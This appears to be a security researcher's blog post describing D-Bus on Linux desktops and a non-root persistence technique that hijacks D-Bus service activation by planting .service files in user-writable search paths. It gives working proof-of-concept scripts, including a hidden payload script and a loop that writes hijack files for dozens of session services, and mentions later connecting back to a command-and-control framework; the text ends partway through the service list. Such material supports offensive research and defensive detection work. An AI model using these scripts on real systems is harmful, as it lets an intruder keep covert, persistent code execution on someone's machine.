Seatbelts Everyone!
Persistence methods in Linux environments requiring root access are interesting and worth documenting, but not always practical. Once a threat actor has fully compromised the root user on a Linux machine, there are a plethora of obscure persistence mechanisms, it’s typically better to rebuild the machine from scratch.
Persistence mechanisms that do not require root access offer a different value proposition. They allow attackers to save their progress without the need to escalate to root.
Depending on your objectives, the OSCP mentality of “get root” is often not necessary.
There are far fewer known persistence methods available on a non-root user and these are well documented in wonderful projects like PANIX (Persistence against *Nix).
A threat actor with root access utilizing D-Bus to maintain persistent access to a Linux environment is a known, but less common method of persistence. This post explores how persistence can be achieved to a Linux desktop environment without root access by hijacking the D-Bus service path search path to execute code.
A Quick Case For The Linux Desktop
So why should we care about targeting Linux Desktop environments if they’re a smaller subset of the Linux systems out there? The answer – developers, power users, and critical systems.
Compromising a single developer’s Linux environment can cascade into access across an enormous amount of critical infrastructure – anecdotally, some of the most critical systems I’ve encountered are running these (usually outdated) Linux desktop environments.
While D-Bus is available on a wide variety of Linux machines that do not have a desktop environment configured, they typically do not have D-Bus services that are started automatically upon user login. This means that while it’s entirely possible to utilize this persistence method on any system that uses D-Bus, as of today, there are no D-Bus services that start by default in the systems tested.
What is DBUS?
When a user logs into a desktop environment, a D-Bus session bus is spawned allowing applications to utilize services attached to a session bus. These services offer various functionality to other system processes.
A common example of D-Bus being used is an application utilizing the system’s notification service – instead of Discord writing its own notification software from scratch, it can simply send a message to the notification service which handles displaying the notification.
There are two processes that make up the D-Bus system:
- D-Bus library: Used by any two processes to exchange messages among themselves.
- D-Bus Daemon: Runs the bus that the messages are transported over.
Additionally, in a typical environment, there are two types of buses:
- System Bus: Privileged system wide communications. Typically owned and operated by root.
- Session Bus: Unprivileged communication between a single user’s session.

Think of each bus as a tube that messages are sent through that any number of applications can hook into to receive the messages.
The System Bus handles communication for privileged
services. For example, when plugging in a power adapter, the kernel
detects the event and sends a message to
org.freedesktop.UPower
, which then allows other
applications to become aware of this event and change their behavior now
that the battery does not need to be conserved. Power settings are
considered privileged which is why this is a part of the System
Bus.
The Session Bus works in much the same way but for
unprivileged process communication. When an application needs to send a
notification (such as a discord message), the application connects to
the D-Bus Session Bus and sends a message to a service such as the
org.freedesktop.Notifications
D-Bus service. This allows
for applications to send a notification without having to worry about
the underlying mechanisms such as “Does the user have notifications
muted?”.
The D-Bus Spec clarifies that the reverse domain name scheme
tld.domain.subdomain
naming scheme is borrowed from Java interface names.
We can identify what services are hooked into each system
and session bus using the busctl
command. In the
below output, we can see the system bus shows privileged services such
as NetworkManager and UPower.
- Name: The identifier for the D-Bus service.
- PID: The process ID of the running process
- Process: The program that is providing the D-Bus service
- User: The user account running the process
- Connection: The address for the connection or
activatable
if it starts on demand - Unit: The systemd unit responsible for managing the
service. For the session bus, there is a special template at
/usr/lib/systemd/system/[email protected]
- Session: Shows the login session a user belongs to.
- Description: A description of what the service does (not often used).
busctl --system list --no-pager
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 448 systemd-timesyn systemd-timesync :1.0 systemd-timesyncd.service - -
:1.1 328 systemd-network systemd-network :1.1 systemd-networkd.service - -
:1.10 1 systemd root :1.10 init.scope - -
:1.108 2940 fwupd root :1.108 fwupd.service - -
:1.109 2947 upowerd root :1.109 upower.service - -
:1.11 580 polkitd polkitd :1.11 polkit.service - -
:1.12 570 gnome-remote-de gnome-remote-desktop :1.12 gnome-remote-desktop.service - -
:1.13 711 wpa_supplicant root :1.13 wpa_supplicant.service - -
:1.14 703 NetworkManager root :1.14 NetworkManager.service - -
:1.15 760 ModemManager root :1.15 ModemManager.service - -
:1.2 441 systemd-resolve systemd-resolve :1.2 systemd-resolved.service - -
:1.21 858 cupsd root :1.21 cups.service - -
:1.22 878 gdm3 root :1.22 gdm.service - -
:1.23 866 unattended-upgr root :1.23 unattended-upgrades.service - -
:1.27 895 systemd ubuntu :1.27 [email protected] - -
:1.29 910 pipewire-pulse ubuntu :1.29 [email protected] - -
:1.3 434 systemd-oomd systemd-oom :1.3 systemd-oomd.service - -
:1.30 906 pipewire ubuntu :1.30 [email protected] - -
:1.31 908 pipewire ubuntu :1.31 [email protected] - -
:1.32 909 wireplumber ubuntu :1.32 [email protected] - -
:1.33 926 rtkit-daemon root :1.33 rtkit-daemon.service - -
:1.35 909 wireplumber ubuntu :1.35 [email protected] - -
:1.4 585 power-profiles- root :1.4 power-profiles-daemon.service - -
:1.41 1286 gdm-session-wor root :1.41 session-4.scope 4 -
:1.43 1322 gnome-keyring-d ubuntu :1.43 [email protected] - -
:1.45 1357 Xorg ubuntu :1.45 session-4.scope 4 -
:1.46 1355 gdm-x-session ubuntu :1.46 session-4.scope 4 -
:1.47 1469 kerneloops kernoops :1.47 kerneloops.service - -
:1.48 1472 kerneloops kernoops :1.48 kerneloops.service - -
:1.482 11272 gnome-shell ubuntu :1.482 [email protected] - -
:1.483 11293 busctl ubuntu :1.483 session-7.scope 7 -
:1.49 1467 cups-browsed cups-browsed :1.49 cups-browsed.service - -
:1.5 621 accounts-daemon root :1.5 accounts-daemon.service - -
:1.50 1467 cups-browsed cups-browsed :1.50 cups-browsed.service - -
:1.51 1513 gnome-session-b ubuntu :1.51 [email protected] - -
:1.6 624 switcheroo-cont root :1.6 switcheroo-control.service - -
:1.7 645 udisksd root :1.7 udisks2.service - -
:1.8 566 avahi-daemon avahi :1.8 avahi-daemon.service - -
:1.9 639 systemd-logind root :1.9 systemd-logind.service - -
com.canonical.UbuntuAdvantage - - - (activatable) - - -
com.hp.hplip - - - (activatable) - - -
com.ubuntu.LanguageSelector - - - (activatable) - - -
com.ubuntu.SoftwareProperties - - - (activatable) - - -
com.ubuntu.WhoopsiePreferences - - - (activatable) - - -
fi.w1.wpa_supplicant1 711 wpa_supplicant root :1.13 wpa_supplicant.service - -
io.netplan.Netplan - - - (activatable) - - -
net.hadess.PowerProfiles 585 power-profiles- root :1.4 power-profiles-daemon.service - -
net.hadess.SwitcherooControl 624 switcheroo-cont root :1.6 switcheroo-control.service - -
net.reactivated.Fprint - - - (activatable) - - -
org.bluez - - - (activatable) - - -
org.debian.apt - - - (activatable) - - -
org.freedesktop.Accounts 621 accounts-daemon root :1.5 accounts-daemon.service - -
org.freedesktop.Avahi 566 avahi-daemon avahi :1.8 avahi-daemon.service - -
org.freedesktop.ColorManager - - - (activatable) - - -
org.freedesktop.DBus 1 systemd root - init.scope - -
org.freedesktop.GeoClue2 - - - (activatable) - - -
org.freedesktop.ModemManager1 760 ModemManager root :1.15 ModemManager.service - -
org.freedesktop.NetworkManager 703 NetworkManager root :1.14 NetworkManager.service - -
org.freedesktop.PackageKit - - - (activatable) - - -
org.freedesktop.PolicyKit1 580 polkitd polkitd :1.11 polkit.service - -
org.freedesktop.RealtimeKit1 926 rtkit-daemon root :1.33 rtkit-daemon.service - -
org.freedesktop.UDisks2 645 udisksd root :1.7 udisks2.service - -
org.freedesktop.UPower 2947 upowerd root :1.109 upower.service - -
org.freedesktop.UPower.PowerProfiles 585 power-profiles- root :1.4 power-profiles-daemon.service - -
org.freedesktop.bolt - - - (activatable) - - -
org.freedesktop.fwupd 2940 fwupd root :1.108 fwupd.service - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 639 systemd-logind root :1.9 systemd-logind.service - -
org.freedesktop.network1 328 systemd-network systemd-network :1.1 systemd-networkd.service - -
org.freedesktop.nm_dispatcher - - - (activatable) - - -
org.freedesktop.nm_priv_helper - - - (activatable) - - -
org.freedesktop.oom1 434 systemd-oomd systemd-oom :1.3 systemd-oomd.service - -
org.freedesktop.resolve1 441 systemd-resolve systemd-resolve :1.2 systemd-resolved.service - -
org.freedesktop.systemd1 1 systemd root :1.10 init.scope - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 448 systemd-timesyn systemd-timesync :1.0 systemd-timesyncd.service - -
org.gnome.DisplayManager 878 gdm3 root :1.22 gdm.service - -
org.gnome.RemoteDesktop 570 gnome-remote-de gnome-remote-desktop :1.12 gnome-remote-desktop.service - -
org.opensuse.CupsPkHelper.Mechanism - - - (activatable) - - -
When looking at the Session bus we can see the services run by the
ubuntu
account. These are more focused on specific services
for session management such as FileManager1
and
SessionManager
.
busctl --user list --no-pager
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.10 908 wireplumber ubuntu :1.10 [email protected] - -
:1.100 1745 evolution-alarm ubuntu :1.100 [email protected] - -
:1.101 1567 xdg-desktop-por ubuntu :1.101 [email protected] - -
:1.105 1869 update-notifier ubuntu :1.105 [email protected] - -
:1.107 1869 update-notifier ubuntu :1.107 [email protected] - -
:1.112 1925 busctl ubuntu :1.112 session-3.scope 3 -
:1.17 1023 gvfsd ubuntu :1.17 [email protected] - -
:1.18 1031 gvfsd-fuse ubuntu :1.18 [email protected] - -
:1.27 1033 gnome-session-b ubuntu :1.27 [email protected] - -
:1.28 1063 at-spi-bus-laun ubuntu :1.28 [email protected] - -
:1.29 1066 gnome-shell ubuntu :1.29 [email protected] - -
:1.30 1066 gnome-shell ubuntu :1.30 [email protected] - -
:1.31 1103 at-spi2-registr ubuntu :1.31 [email protected] - -
:1.32 1103 at-spi2-registr ubuntu :1.32 [email protected] - -
:1.34 1140 xdg-permission- ubuntu :1.34 [email protected] - -
:1.35 1139 gnome-shell-cal ubuntu :1.35 [email protected] - -
:1.36 1151 evolution-sourc ubuntu :1.36 [email protected] - -
:1.37 1163 gjs ubuntu :1.37 [email protected] - -
:1.39 1187 gsd-screensaver ubuntu :1.39 [email protected] - -
:1.4 915 gnome-keyring-d ubuntu :1.4 [email protected] - -
:1.40 1175 gsd-a11y-settin ubuntu :1.40 [email protected] - -
:1.41 1188 gsd-sharing ubuntu :1.41 [email protected] - -
:1.42 1179 gsd-datetime ubuntu :1.42 [email protected] - -
:1.43 1189 gsd-smartcard ubuntu :1.43 [email protected] - -
:1.44 1186 gsd-rfkill ubuntu :1.44 [email protected] - -
:1.45 1195 gsd-sound ubuntu :1.45 [email protected] - -
:1.46 1184 gsd-print-notif ubuntu :1.46 [email protected] - -
:1.47 1196 gsd-wacom ubuntu :1.47 [email protected] - -
:1.48 1180 gsd-housekeepin ubuntu :1.48 [email protected] - -
:1.49 1181 gsd-keyboard ubuntu :1.49 [email protected] - -
:1.5 894 systemd ubuntu :1.5 [email protected] - -
:1.50 1176 gsd-color ubuntu :1.50 [email protected] - -
:1.51 1172 ibus-daemon ubuntu :1.51 [email protected] - -
:1.52 1182 gsd-media-keys ubuntu :1.52 [email protected] - -
:1.53 1183 gsd-power ubuntu :1.53 [email protected] - -
:1.54 1321 ibus-dconf ubuntu :1.54 [email protected] - -
:1.55 1331 ibus-portal ubuntu :1.55 [email protected] - -
:1.56 1233 goa-daemon ubuntu :1.56 [email protected] - -
:1.57 1333 evolution-calen ubuntu :1.57 [email protected] - -
:1.58 1323 ibus-extension- ubuntu :1.58 [email protected] - -
:1.59 1336 gvfs-udisks2-vo ubuntu :1.59 [email protected] - -
:1.6 905 pipewire ubuntu :1.6 [email protected] - -
:1.60 1349 goa-identity-se ubuntu :1.60 [email protected] - -
:1.61 1365 gvfs-mtp-volume ubuntu :1.61 [email protected] - -
:1.62 1373 gvfs-gphoto2-vo ubuntu :1.62 [email protected] - -
:1.63 1385 gvfs-afc-volume ubuntu :1.63 [email protected] - -
:1.64 1382 evolution-addre ubuntu :1.64 [email protected] - -
:1.65 1394 gvfs-goa-volume ubuntu :1.65 [email protected] - -
:1.66 1417 ibus-engine-sim ubuntu :1.66 [email protected] - -
:1.67 1438 dconf-service ubuntu :1.67 [email protected] - -
:1.69 1450 gvfsd-trash ubuntu :1.69 [email protected] - -
:1.7 905 pipewire ubuntu :1.7 [email protected] - -
:1.71 1176 gsd-color ubuntu :1.71 [email protected] - -
:1.72 1182 gsd-media-keys ubuntu :1.72 [email protected] - -
:1.73 1196 gsd-wacom ubuntu :1.73 [email protected] - -
:1.74 1183 gsd-power ubuntu :1.74 [email protected] - -
:1.75 1323 ibus-extension- ubuntu :1.75 [email protected] - -
:1.76 1181 gsd-keyboard ubuntu :1.76 [email protected] - -
:1.77 1480 gsd-printer ubuntu :1.77 [email protected] - -
:1.78 1482 tracker-miner-f ubuntu :1.78 [email protected] - -
:1.79 1481 gnome-initial-s ubuntu :1.79 [email protected] - -
:1.8 909 pipewire-pulse ubuntu :1.8 [email protected] - -
:1.80 1499 gjs ubuntu :1.80 [email protected] - -
:1.81 1512 gjs ubuntu :1.81 [email protected] - -
:1.82 1492 gsd-xsettings ubuntu :1.82 [email protected] - -
:1.83 1492 gsd-xsettings ubuntu :1.83 [email protected] - -
:1.84 1512 gjs ubuntu :1.84 [email protected] - -
:1.85 1567 xdg-desktop-por ubuntu :1.85 [email protected] - -
:1.87 1586 xdg-document-po ubuntu :1.87 [email protected] - -
:1.88 1618 xdg-desktop-por ubuntu :1.88 [email protected] - -
:1.89 1700 gvfsd-metadata ubuntu :1.89 [email protected] - -
:1.9 933 gdm-wayland-ses ubuntu :1.9 session-1.scope 1 -
:1.90 1699 ibus-x11 ubuntu :1.90 [email protected] - -
:1.91 1699 ibus-x11 ubuntu :1.91 [email protected] - -
:1.92 1207 spice-vdagent ubuntu :1.92 [email protected] - -
:1.93 1207 spice-vdagent ubuntu :1.93 [email protected] - -
:1.94 1732 gsd-disk-utilit ubuntu :1.94 [email protected] - -
:1.95 1786 xdg-desktop-por ubuntu :1.95 [email protected] - -
:1.97 1786 xdg-desktop-por ubuntu :1.97 [email protected] - -
:1.98 1745 evolution-alarm ubuntu :1.98 [email protected] - -
:1.99 1708 mutter-x11-fram ubuntu :1.99 [email protected] - -
ca.desrt.dconf 1438 dconf-service ubuntu :1.67 [email protected] - -
com.canonical.Unity 1066 gnome-shell ubuntu :1.29 [email protected] - -
com.feralinteractive.GameMode - - - (activatable) - - -
com.rastersoft.ding 1512 gjs ubuntu :1.81 [email protected] - -
com.rastersoft.dingextension 1066 gnome-shell ubuntu :1.29 [email protected] - -
io.snapcraft.Launcher - - - (activatable) - - -
io.snapcraft.SessionAgent - - - (activatable) - - -
io.snapcraft.Settings - - - (activatable) - - -
org.a11y.Bus 1063 at-spi-bus-laun ubuntu :1.28 [email protected] - -
org.bluez.obex - - - (activatable) - - -
org.fedoraproject.Config.Printing - - - (activatable) - - -
org.freedesktop.ColorHelper - - - (activatable) - - -
org.freedesktop.DBus 894 systemd ubuntu - [email protected] - -
org.freedesktop.FileManager1 - - - (activatable) - - -
org.freedesktop.IBus 1172 ibus-daemon ubuntu :1.51 [email protected] - -
org.freedesktop.IBus.Panel.Extension.Gtk3 1323 ibus-extension- ubuntu :1.58 [email protected] - -
org.freedesktop.Notifications 1163 gjs ubuntu :1.37 [email protected] - -
org.freedesktop.ScreenSaver 1187 gsd-screensaver ubuntu :1.39 [email protected] - -
org.freedesktop.Tracker3.Miner.Files 1482 tracker-miner-f ubuntu :1.78 [email protected] - -
org.freedesktop.Tracker3.Miner.Files.Control - - - (activatable) - - -
org.freedesktop.Tracker3.Writeback - - - (activatable) - - -
org.freedesktop.background.Monitor 1567 xdg-desktop-por ubuntu :1.101 [email protected] - -
org.freedesktop.impl.portal.PermissionStore 1140 xdg-permission- ubuntu :1.34 [email protected] - -
org.freedesktop.impl.portal.Secret - - - (activatable) - - -
org.freedesktop.impl.portal.desktop.gnome 1618 xdg-desktop-por ubuntu :1.88 [email protected] - -
org.freedesktop.impl.portal.desktop.gtk 1786 xdg-desktop-por ubuntu :1.95 [email protected] - -
org.freedesktop.portal.Desktop 1567 xdg-desktop-por ubuntu :1.85 [email protected] - -
org.freedesktop.portal.Documents 1586 xdg-document-po ubuntu :1.87 [email protected] - -
org.freedesktop.portal.IBus 1331 ibus-portal ubuntu :1.55 [email protected] - -
org.freedesktop.portal.Tracker - - - (activatable) - - -
org.freedesktop.secrets 915 gnome-keyring-d ubuntu :1.4 [email protected] - -
org.freedesktop.systemd1 894 systemd ubuntu :1.5 [email protected] - -
org.gnome.Calculator.SearchProvider - - - (activatable) - - -
org.gnome.Characters - - - (activatable) - - -
org.gnome.DiskUtility - - - (activatable) - - -
org.gnome.Disks.NotificationMonitor 1732 gsd-disk-utilit ubuntu :1.94 [email protected] - -
org.gnome.Evolution-alarm-notify 1745 evolution-alarm ubuntu :1.98 [email protected] - -
org.gnome.Extensions - - - (activatable) - - -
org.gnome.Identity 1349 goa-identity-se ubuntu :1.60 [email protected] - -
org.gnome.InitialSetup 1481 gnome-initial-s ubuntu :1.79 [email protected] - -
org.gnome.Logs - - - (activatable) - - -
org.gnome.Mutter.DisplayConfig 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Mutter.IdleMonitor 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Mutter.InputCapture 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Mutter.InputMapping 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Mutter.RemoteDesktop 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Mutter.ScreenCast 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Mutter.ServiceChannel 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Nautilus - - - (activatable) - - -
org.gnome.Nautilus.Tracker3.Miner.Extract - - - (activatable) - - -
org.gnome.Nautilus.Tracker3.Miner.Files - - - (activatable) - - -
org.gnome.OnlineAccounts 1233 goa-daemon ubuntu :1.56 [email protected] - -
org.gnome.Rygel1 - - - (activatable) - - -
org.gnome.ScreenSaver 1499 gjs ubuntu :1.80 [email protected] - -
org.gnome.SessionManager 1033 gnome-session-b ubuntu :1.27 [email protected] - -
org.gnome.Settings - - - (activatable) - - -
org.gnome.Settings.SearchProvider - - - (activatable) - - -
org.gnome.SettingsDaemon.A11ySettings 1175 gsd-a11y-settin ubuntu :1.40 [email protected] - -
org.gnome.SettingsDaemon.Color 1176 gsd-color ubuntu :1.50 [email protected] - -
org.gnome.SettingsDaemon.Datetime 1179 gsd-datetime ubuntu :1.42 [email protected] - -
org.gnome.SettingsDaemon.Housekeeping 1180 gsd-housekeepin ubuntu :1.48 [email protected] - -
org.gnome.SettingsDaemon.Keyboard 1181 gsd-keyboard ubuntu :1.49 [email protected] - -
org.gnome.SettingsDaemon.MediaKeys 1182 gsd-media-keys ubuntu :1.52 [email protected] - -
org.gnome.SettingsDaemon.Power 1183 gsd-power ubuntu :1.53 [email protected] - -
org.gnome.SettingsDaemon.PrintNotifications 1184 gsd-print-notif ubuntu :1.46 [email protected] - -
org.gnome.SettingsDaemon.Rfkill 1186 gsd-rfkill ubuntu :1.44 [email protected] - -
org.gnome.SettingsDaemon.ScreensaverProxy 1187 gsd-screensaver ubuntu :1.39 [email protected] - -
org.gnome.SettingsDaemon.Sharing 1188 gsd-sharing ubuntu :1.41 [email protected] - -
org.gnome.SettingsDaemon.Smartcard 1189 gsd-smartcard ubuntu :1.43 [email protected] - -
org.gnome.SettingsDaemon.Sound 1195 gsd-sound ubuntu :1.45 [email protected] - -
org.gnome.SettingsDaemon.Wacom 1196 gsd-wacom ubuntu :1.47 [email protected] - -
org.gnome.SettingsDaemon.XSettings 1492 gsd-xsettings ubuntu :1.83 [email protected] - -
org.gnome.Shell 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Shell.AudioDeviceSelection 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Shell.CalendarServer 1139 gnome-shell-cal ubuntu :1.35 [email protected] - -
org.gnome.Shell.Extensions - - - (activatable) - - -
org.gnome.Shell.HotplugSniffer - - - (activatable) - - -
org.gnome.Shell.Introspect 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Shell.Notifications 1163 gjs ubuntu :1.37 [email protected] - -
org.gnome.Shell.Portal 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Shell.ScreenShield 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Shell.Screencast - - - (activatable) - - -
org.gnome.Shell.Screenshot 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Shell.Wacom.PadOsd 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.Terminal - - - (activatable) - - -
org.gnome.TextEditor - - - (activatable) - - -
org.gnome.baobab - - - (activatable) - - -
org.gnome.clocks - - - (activatable) - - -
org.gnome.evince.Daemon - - - (activatable) - - -
org.gnome.evolution.dataserver.AddressBook10 1382 evolution-addre ubuntu :1.64 [email protected] - -
org.gnome.evolution.dataserver.Calendar8 1333 evolution-calen ubuntu :1.57 [email protected] - -
org.gnome.evolution.dataserver.Sources5 1151 evolution-sourc ubuntu :1.36 [email protected] - -
org.gnome.evolution.dataserver.UserPrompter0 - - - (activatable) - - -
org.gnome.font-viewer - - - (activatable) - - -
org.gnome.keyring 915 gnome-keyring-d ubuntu :1.4 [email protected] - -
org.gnome.keyring.PrivatePrompter - - - (activatable) - - -
org.gnome.keyring.SystemPrompter 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gnome.seahorse.Application - - - (activatable) - - -
org.gtk.GLib.PACRunner - - - (activatable) - - -
org.gtk.MountOperationHandler 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gtk.Notifications 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.gtk.Settings 1492 gsd-xsettings ubuntu :1.83 [email protected] - -
org.gtk.vfs.AfcVolumeMonitor 1385 gvfs-afc-volume ubuntu :1.63 [email protected] - -
org.gtk.vfs.Daemon 1023 gvfsd ubuntu :1.17 [email protected] - -
org.gtk.vfs.GPhoto2VolumeMonitor 1373 gvfs-gphoto2-vo ubuntu :1.62 [email protected] - -
org.gtk.vfs.GoaVolumeMonitor 1394 gvfs-goa-volume ubuntu :1.65 [email protected] - -
org.gtk.vfs.MTPVolumeMonitor 1365 gvfs-mtp-volume ubuntu :1.61 [email protected] - -
org.gtk.vfs.Metadata 1700 gvfsd-metadata ubuntu :1.89 [email protected] - -
org.gtk.vfs.UDisks2VolumeMonitor 1336 gvfs-udisks2-vo ubuntu :1.59 [email protected] - -
org.gtk.vfs.mountpoint_1450 1450 gvfsd-trash ubuntu :1.69 [email protected] - -
org.kde.StatusNotifierWatcher 1066 gnome-shell ubuntu :1.29 [email protected] - -
org.pulseaudio.Server 909 pipewire-pulse ubuntu :1.8 [email protected] - -
The entries with
:1.xx
format are unique, private D-Bus addresses automatically assigned to each connection. These are unique identifiers for active connections even if the service doesn’t register a name.
Service Activation
Some services are marked as activatable
. This means
they’re not active but they are on standby for when a program needs to
use it. For example, Bluetooth might not be in use, but it is
listening and ready to activate if a process asks for it. In
the above Session Bus output, we can see that
org.bluez.obex
is listed as activatable
. We
can explicitly activate it by sending a busctl
command.
busctl --user \
\
call org.freedesktop.DBus /org/freedesktop/DBus "su" "org.bluez.obex" 0 org.freedesktop.DBus StartServiceByName
We can see that org.bluez.obex
is activated.
busctl --user list --no-pager | grep bluez
org.bluez.obex 2026 obexd ubuntu :1.117 [email protected] - -
Service Activation Flow
When a D-Bus service is activated, a predefined sequence of events
kicks off. The most important for our purposes is the D-Bus daemon
attempts to start the service being requested by searching a
predetermined list of directories for a D-BUS Service
configuration file that is written using the .ini
format.
By convention this is called servicename.service
or in this
example org.bluez.obex.service
[D-BUS Service]
Name=org.bluez.obex
Exec=/usr/libexec/bluetooth/obexd
SystemdService=obex.service
This configuration file tells the D-Bus daemon what application to start when the service is activated.
For those familiar with DLL Hijacking in Windows, you may see where this is going.
According to the D-Bus
Spec, the following order of locations are checked for a
.service
file.
$XDG_RUNTIME_DIR/dbus-1/services
(if$XDG_RUNTIME_DIR
is set)$XDG_DATA_HOME/dbus-1/services
(where$XDG_DATA_HOME
defaults to~/.local/share
)directory/dbus-1/services
for each directory in$XDG_DATA_DIRS
(where$XDG_DATA_DIRS
defaults to/usr/local/share:/usr/share
)${datadir}/dbus-1/services
(typically/usr/share/dbus-1/services
)
The environment variables make this a bit abstract. What do these actually evaluate to on a normal system? On many systems (such as Ubuntu 24.04), the default relevant environment variables make the search order:
/run/user/1000/dbus-1/services
~/.local/share/dbus-1/services
- For each directory in
$XDG_DATA_DIRS
, it looks for adbus-1/services
subdirectory:/home/graham/.local/share/flatpak/exports/share/dbus-1/services
/var/lib/flatpak/exports/share/dbus-1/services
/usr/local/share/dbus-1/services
/usr/share/dbus-1/services
/var/lib/snapd/desktop/dbus-1/services
/snap/ghostty/37/usr/share/dbus-1/services
/usr/share/dbus-1/services
(in case$XDG_DATA_DIRS
isn’t set)
This is very interesting! According to this, the service
configuration files we place in
/run/user/100/dbus-1/services
and
~/.local/share/dbus-1/services
are the first locations in
the search path that will be checked for D-Bus service files when a
D-Bus service is activated. The best part – these locations are
user writable.
Proof Of Concept
In theory, we should be able to place a configuration file in one of these locations to use as a configuration file for a D-Bus service.
To validate, let’s place a custom org.bluez.obex.service
inside of ~/.local/share/dbus-1/services/
and then turn on
bluetooth.
You may also use
/run/user/1000/dbus-1
, but if doing so, the service file must end in .service
First, we need to create a “payload” script that will demonstrate our
custom service configuration file is being loaded. In this case a file
at /home/graham/runmecalc.sh
that runs
/usr/bin/gnome-calculator
and then keeps the process
running.
# Create runmecalc.sh
cat << EOF > /home/$USER/runmecalc.sh
#!/bin/bash
/usr/bin/gnome-calculator -e 1337
# Keep the process alive even after calc is closed
while true;do sleep 10; done
EOF
Next, create the service org.bluez.obex.service
at
~/.local/share/dbus-1/services/
.
Technically you can name this whatever you like as long as it ends in
.service
. It even works with hidden files. I know this because I forgot I created a hidden file and was mildly concerned when calc kept opening.
# Create the service configuration file
cat << EOF > ~/.local/share/dbus-1/services/org.bluez.obex.service
[D-BUS Service]
Name=org.bluez.obex
Exec=/home/graham/runmecalc.sh
EOF
To remove these files run:
rm ~/.local/share/dbus-1/services/org.bluez.obex.service /home/$USER/runmecalc.sh
Now we can test to see if runmecalc.sh
executes when the
Bluetooth D-Bus service activates. To activate this service, open any
program that requests Bluetooth service. In this case, just open the
Bluetooth settings in Ubuntu.
Upon opening the Bluetooth menu (which in turn activates the
org.bluez.obex
D-Bus service), we can see that a calculator
is opened, confirming that our code is being executed upon service
activation.

Looking at the process tree
ps --forest aux | grep "calc\|"
, we can see that
dbus-daemon
spawned runmecalc.sh
which spawned
gnome-calculator
graham 6300 0.0 0.0 11480 6980 ? Ss 12:33 0:05 \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
graham 31202 0.0 0.0 11480 3280 ? S 14:36 0:00 | \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
graham 31203 0.0 0.0 9940 3392 ? S 14:36 0:00 | \_ /bin/bash /home/graham/runmecalc.sh
graham 31204 0.5 0.4 1505880 139576 ? Sl 14:36 0:00 | \_ /usr/bin/gnome-calculator -e 1337
This is a neat party trick, but relying on the user to activate Bluetooth isn’t entirely practical. Let’s make it execute each time the user logs in.
D-Bus Service Path Hijacking
Now that we have proved that a normal Ubuntu user can define their own D-Bus configuration files, let’s exploit this to execute custom code each time a user logs in.
We will be using this to connect back to Mythic shortly.
We first must identify a D-Bus service that is activated at login that does not require user interaction (like the Bluetooth activation example above did).
Identifying what D-Bus services activate at startup is more of an art
than a science. To enumerate the services that are activated upon user
login I stuffed every well-known service from
busctl --user list
into a bash script that creates each a
D-Bus service file in ~/.local/share/dbus-1/services/
and
logged out and back in a few times.
#!/bin/bash
# D-Bus Service Hijacking Proof Of Concept
# Creates service files for multiple D-Bus services-
# Set global vars
DBUS_DIR="$HOME/.local/share/dbus-1/services"
# Create the $DBUS_DIR directory if it does not exist
mkdir -p "$DBUS_DIR"
# Create a hidden payload script
cat > "$DBUS_DIR/.persistence_payload.sh" << EOL
#!/bin/bash
LOG_FILE="\$HOME/poc.log"
mkdir -p "\$(dirname "\$LOG_FILE")"
echo "[\$(date)] Persistence activated via \$1" >> "\$LOG_FILE"
# Execute original binary if provided
[ -n "\$2" ] && [ -x "\$2" ] && "\$2" "\$@" &
# Keep the process alive
while true; do sleep 5; done
EOL
chmod +x "$DBUS_DIR/.persistence_payload.sh"
# List of services to hijack
SERVICES=(
ca.desrt.dconf-editor
com.canonical.Unity
com.canonical.firmware_updater
com.feralinteractive.GameMode
com.mitchellh.ghostty
com.rastersoft.ding
com.rastersoft.dingextension
io.snapcraft.Launcher
io.snapcraft.SessionAgent
io.snapcraft.Settings
io.snapcraft.SnapDesktopIntegration
org.a11y.Bus
org.bluez.obex
org.fedoraproject.Config.Printing
org.flatpak.Authenticator.Oci
org.freedesktop.ColorHelper
org.freedesktop.Flatpak
org.freedesktop.IBus
org.freedesktop.IBus.Panel.Extension.Gtk3
org.freedesktop.ReserveDevice1.Audio0
org.freedesktop.ScreenSaver
org.freedesktop.Tracker3.Miner.Files
org.freedesktop.Tracker3.Miner.Files.Control
org.freedesktop.Tracker3.Writeback
org.freedesktop.background.Monitor
org.freedesktop.impl.portal.Secret
org.freedesktop.portal.Flatpak
org.freedesktop.portal.Tracker
org.freedesktop.secrets
org.freedesktop.systemd1
org.gnome.Calculator.SearchProvider
org.gnome.Characters
org.gnome.DiskUtility
org.gnome.Disks.NotificationMonitor
org.gnome.Evolution-alarm-notify
org.gnome.Extensions
org.gnome.Logs
org.gnome.Mutter.DisplayConfig
org.gnome.Mutter.IdleMonitor
org.gnome.Mutter.InputCapture
org.gnome.Mutter.InputMapping
org.gnome.Mutter.RemoteDesktop
org.gnome.Mutter.ScreenCast
org.gnome.Mutter.ServiceChannel
org.gnome.Nautilus
org.gnome.Nautilus.Tracker3.Miner.Extract
org.gnome.Nautilus.Tracker3.Miner.Files
org.gnome.Rygel1
org.gnome.Settings
org.gnome.Settings.SearchProvider
